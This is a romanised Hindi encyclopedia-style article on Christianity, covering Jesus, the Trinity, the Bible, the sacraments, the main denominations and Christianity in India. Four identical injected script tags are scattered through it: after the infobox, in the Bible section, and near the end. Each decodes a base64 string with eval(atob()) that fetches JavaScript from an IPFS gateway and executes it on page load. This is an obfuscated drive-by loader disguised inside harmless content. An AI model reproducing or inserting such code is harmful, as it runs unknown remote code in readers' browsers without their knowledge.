ईसाई धर्म

eesaee dharm
eesaee dharm ka pratik|200px|center
vivaran	'eesaee dharm' ya 'masihi dharm' ya 'masayahayat' vishv ke pramukh dharmoan mean se ek hai jisake tabeen eesaee kahalate haian
mukhy sampraday	kaitholik, protaistaiant, arthodoks, m aauroni, evanajilak
pravartak	eesa masih (jisas kraist)
astha sootr	maian akash tatha prithvi evan sabhi gochar-agochar vastuoan ke srijak ekamatr mahashaktiman pita prabhu tatha unake putr eesa masih mean vishvas karata hooan.
eesaee trayank	eesaee log eeshvar ko 'pita' aur eesa masih ko 'eeshvar putr' manate haian. eeshvar, eeshvar putr aur pavitr atma– ye tinoan eesaee trayank (triniti) mane jate haian.
dharm granth	baibil
dharm prachar	eesa masih ke pramukh shishyoan mean se ek sant tamas ne pratham shatabdi eesvi mean hi bharat mean madras ke pas akar eesaee dharm ka prachar kiya tha.
any janakari	vartaman mean bharat mean eesaee dharmavalambiyoan ki sankhya lagabhag 1 karo d 65 lakh hai, jo desh ki kul janasankhya ka lagabhag 2.5% hai.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

eesaee dharm ya masihi dharm ya masayahayat vishv ke pramukh dharmoan mean se ek hai jisake tabeen eesaee kahalate haian. eesaee dharm ke pairokar eesa masih ki talimat par amal karate haian. eesaeeoan mean bahut se samuday haian masalan kaitholik, protaistaiant, arthodoks, m aauroni, evanajilak adi. 'eesaee dharm' ke pravartak eesa masih (jisas kraist) the, jinaka janm roman samrajy ke gailili prant ke nazarath namak sthan par 6 ee. poo. mean hua tha. unake pita jojef ek badhee the tatha mata meri (mariyam) thian. ve donoan yahoodi the. eesaee shastroan ke anusar meri ko usake mata-pita ne devadasi ke roop mean mandir ko samarpit kar diya tha. eesaee vishvasoan ke anusar eesa masih ke meri ke garbh mean agaman ke samay meri kuanvari thi. isilie meri ko eesaee dharmalambi 'varjin meri (kuanvari meri) tatha eesa masih ko eeshvarakrit divy purush manate haian. eesa masih ke janm ke samay yahoodi log roman samrajy ke adhin the aur usase mukti ke lie vyakul the. usi samay j aaun d baiptist namak ek sant ne zordan ghati mean bhavishyavani ki thi ki yahoodiyoan ki mukti ke lie eeshvar shighr hi ek masiha bhejane vala hai. us samay eesa ki ayu adhik nahian thi, parantu kee varshoan ke ekantavas ke pashchath unamean kuchh vishisht shaktiyoan ka sanchar hua aur unake sparsh se aandhoan ko drishti, gooangoan ko vani tatha mritakoan ko jivan milane laga. phalatah charoan or eesa ko prasiddhi milane lagi. unhoanne din dukhiyoan ke prati prem aur seva ka prachar kiya.
yarusalam mean unake agaman evan nirantar badhati ja rahi lokapriyata se puratanapanthi purohit tatha sattadhari varg sashankit ho utha aur unhean jhoothe aropoan mean fansane ka prayas kiya. yahoodiyoan ki dharmasabha ne un par svayan ko eeshvar ka putr aur masiha hone ka dava karane ka arop lagaya aur antatah unhean salib (kr aaus) par lataka kar mrityudand ki saza di gee. parantu salib par bhi unhoanne apane viruddh sh dayantr karane valoan ke lie eeshvar se prarthana ki ki vah unhean maf kare, kyoanki unhean nahian maloom ki ve kya kar rahe haian. eesaee manate haian ki mrityu ke tisare din hi eesa masih punah jivit ho uthe the. eesa masih ke shishyoan ne unake dvara bataye gaye marg arthath eesaee dharm ka filistin mean sarvapratham prachar kiya, jahaan se vah rom aur phir sare yoorop mean phaila. vartaman mean yah vishv ka sabase adhik anuyayiyoan vala dharm hai. eesaee log eeshvar ko 'pita' aur masih ko 'eeshvar putr' manate haian. eeshvar, eeshvar putr eesa masih aur pavitr atma–ye tinoan eesaee trayank (triniti) mane jate haian. eesaee dharm ki kuchh any visheshataean is prakar haian—

astha sootr

eesaee dharmavalambi prarthanaoan tatha baptisma evan any anushthanoan ke avasar par nimn astha sootr ka smaran karate haian—maian akash tatha prithvi evan sabhi gochar-agochar vastuoan ke srijak ekamatr mahashaktiman pita prabhu tatha unake putr eesa masih mean vishvas karata hooan.

pavitr pustak

eesaee dharm ki pavitr pustak baibil ya ianjil hai, jisake do bhag haian—

1. old testameant, jisamean yahoodi itihas tatha dharmakathaean varnit haian, tatha
2. nyoo testameant, jisamean eesaeeyoan ke dharm sambandhi vichar, vishvas tatha itihas varnit haian.

[[chitr:Statue-Jesus.jpg|thumb|250px|eesa masih|left]]

dharmakrity

eesaeeyoan ke vibhinn sampradayoan mean tho de-bahut antar ke sath kuchh dharmakrity sanskar ya anushthan prachalit haian, jinaka prabhu ki adrishy agochar kripa se drishy-gochar pratik mana jata hai. aise sat dharmakrity many haian—

• dhanyavad jnapan (yookhairist)–girijaghar ki prarthana ke samay roti aur madira ka sevan karana, jisaka uddeshy eesa masih ke sharir ka aang ban jana hai. manyata yah hai ki eesa masih ne yahoodiyoan dvara apani giraphtari ke poorv ratri ko diye gaye ek bhoj mean roti to dakar ek-ek tuk da aur sath mean tho di-tho di madira apane pratyek shishy ko yah kahate hue diya tha ki yah mere sharir evan rakt ke hisse haian aur inake sevan se sabhi shishy ek man, ek pran, ek sharir roop ho sahadharmi ho gaye.
• baiptizm–vyakti par jal chhi dakar ya shishu ko pavitr jal mean dubaki lagavakar use charch vishesh ke sadasy ke roop mean pravisht karana.
• pushtikaran (kanapharameshan)–eesaee dharm svikar kar chuke vyakti ke hathoan mean tel aur bam malana, jisaka uddeshy usake eesaeeyat ko punah pusht karana hai.
• prayashchit (kanapheshan)–eesaee dharmavalambiyoan mean, visheshakar roman kaitholik mean prachalit is vyavastha ke anusar charch mean vishisht roop se bane ek sthan par vyakti ko padari ke samaksh dharmagrahan ke samay tatha pratyek varsh kam se kam ek bar apane papoan ka byaura dekar prayashchit karana p data hai. aisi manyata hai ki prabhu padari ke madhyam se use maf kar deta hai.
• abhishek–mrityu shayya par p de vyakti ki aankhoan, kanoan, nathunoan, othoan, hathoan, paanvoan aur purushoan ki jaanghoan mean padari tel chhuvata hai ya malata hai aur prabhu se usake papoan ko kshama karane ki prarthana karata hai.
• vivah–eesaeeyoan mean vivah ek pavitr sanskar hai, jisaka sampadan charch mean padari ke ashirvad evan ghoshana se kiya jata hai.
• purohit evan ardineshan–roman kaitholik sampraday mean purohitoan ki atyant suvyavasthit vyavastha drishtigat hoti hai, jise ve 'holi ardars' kahate haian. any sampradayoan mean bhi padariyoan ki vyavastha hai. padariyoan ke do varg hote haian—jyeshth aur kanishth. kanishth varg mean shiksharthi padari, dharmagranth kathavachak adi ate haian. vahian jyeshth varg mean bishap, padari, dikan, arkabishap adi ate haian. pop roman kaitholik sampraday ke sarvamany sarvochch dharmaguru haian. roman kaitholik mean kisi kanishth purohit ko jyeshth varg mean pravesh hetu kiya jane vala sanskar 'ardineshan' kahalata hai.

eesaee dharm ke pramukh sampraday

yadyapi eesaee dharm ke anek sampraday haian, parantu unamean do sarvapramukh haian—

1. roman kaitholik charch–ise 'apostolik charch' bhi kahate haian. yah sampraday yah vishvas karata hai ki vetikan sthit pop eesa masih ka adhyatmik uttaradhikari hai aur is roop mean vah eesaeeyat ka dharmadhikari hai. atah dharm, achar evan sanskar ke vishay mean usaka nirnay antim mana jata hai. pop ka chunav vetikan ke sistin giraje mean is sampraday ke shreshth padariyoan (kardinaloan) dvara gupt matadan dvara kiya jata hai.
2. protestaiant–15-16vian shatabdi tak pop ki shakti avarnaniy roop se badh gee thi aur usaka dharmik, rajanitik, samajik, sabhi mamaloan mean hastakshep badh gaya tha. pop ki isi shakti ko 14vian shatabdi mean j aaun baiklif ne aur phir martin loothar (jarmani mean) ne chunauti di, jisase ek navin sudharavadi eesaee sampraday-protestaiant ka janm hua, jo ki adhik udaravadi drishtikon rakhate haian.

baibil

thumb|250px|baibil
Bible

mukhy lekh : baibil

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

eesaee dharm ka pavitr granth baibil hai, jisake do bhag old testameant aur nyoo testameant haian. eesaeeyoan ka vishvas hai ki baibil ki rachana vibhinn vyaktiyoan dvara 2000-2500 varsh poorv ki gee thi. vastav mean yah granth ee. poo. 9vian shatabdi se lekar eesvi pratham shatabdi ke bich likhe gaye 73 lekh shriankhalaoan ka sankalan hai, jinamean se 46 old testameant mean aur 27 nyoo testameant mean sankalit haian. jahaan old testameant mean yahoodiyoan ke itihas aur vishvasoan ka varnan hai, vahian nyoo testameant mean eesa masih ke upadeshoan evan jivan ka vivaran hai.

bharat mean eesaee dharm

eesaee dharm ka bharat mean pravesh atyant prachin kal mean hi ho chuka tha. eesa masih ke pramukh shishyoan mean se ek sant tamas ne pratham shatabdi eesvi mean hi bharat mean madras ke pas akar eesaee dharm ka prachar kiya tha. usi samay se is kshetr mean eesaee dharm ka svatantr roop mean prasar hota raha hai. 16vian sadi mean purtagaliyoan ke sath aye roman kaitholik dharm pracharakoan ke madhyam se unaka sampark pop ke kaitholik charch se hua. parantu bharat ke kuchh isaeeyoan ne pop ki satta ko asvikrit karake 'jekobait' charch ki sthapana ki. keral mean kaitholik charch se sambandhit tin shakhaean dikhaee deti haian—

• siriyan malabari
• siriyan malakari aur
• laitin.

roman kaitholik charch ki laitin shakha ke bhi do varg dikhaee p date haian—

• gova, mangalor, maharashtriyan samooh, jo pashchimi vicharoan se prabhavit tha, tatha
• tamil samooh jo apani prachin bhasha-sanskriti se ju da raha.

kaka bepatista, fadar stifeans (khist puran ke rachayita), fadar di nobili adi dakshin bharat ke pramukh eesaee dharm pracharak the. uttar bharat mean akabar ke darabar mean sarv dharm sabha mean vichar-vimarsh hetu jesuit fadar upasthit the. unhoanne agara mean ek charch bhi sthapit kiya tha. isi kal mean eesaee sampraday roth ne laitin bhasha mean sanskrit vyakaran likha. bharat mean protesteant dharm ka agaman 1706 mean hua. bi. jigenabalg ne tamilanadu ke trankabar mean tatha viliyam keri ne kalakatta ke nikat seramapur mean lootharan charch sthapit kiya. madar teresa dvara 1950 mean kalakatta mean sthapit mishanarij aur cheriti manavata ki seva mean karyarat haian. vartaman mean bharat mean eesaee dharmavalambiyoan ki sankhya lagabhag 1 karo d 65 lakh hai, jo desh ki kul janasankhya ka lagabhag 2.5% hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>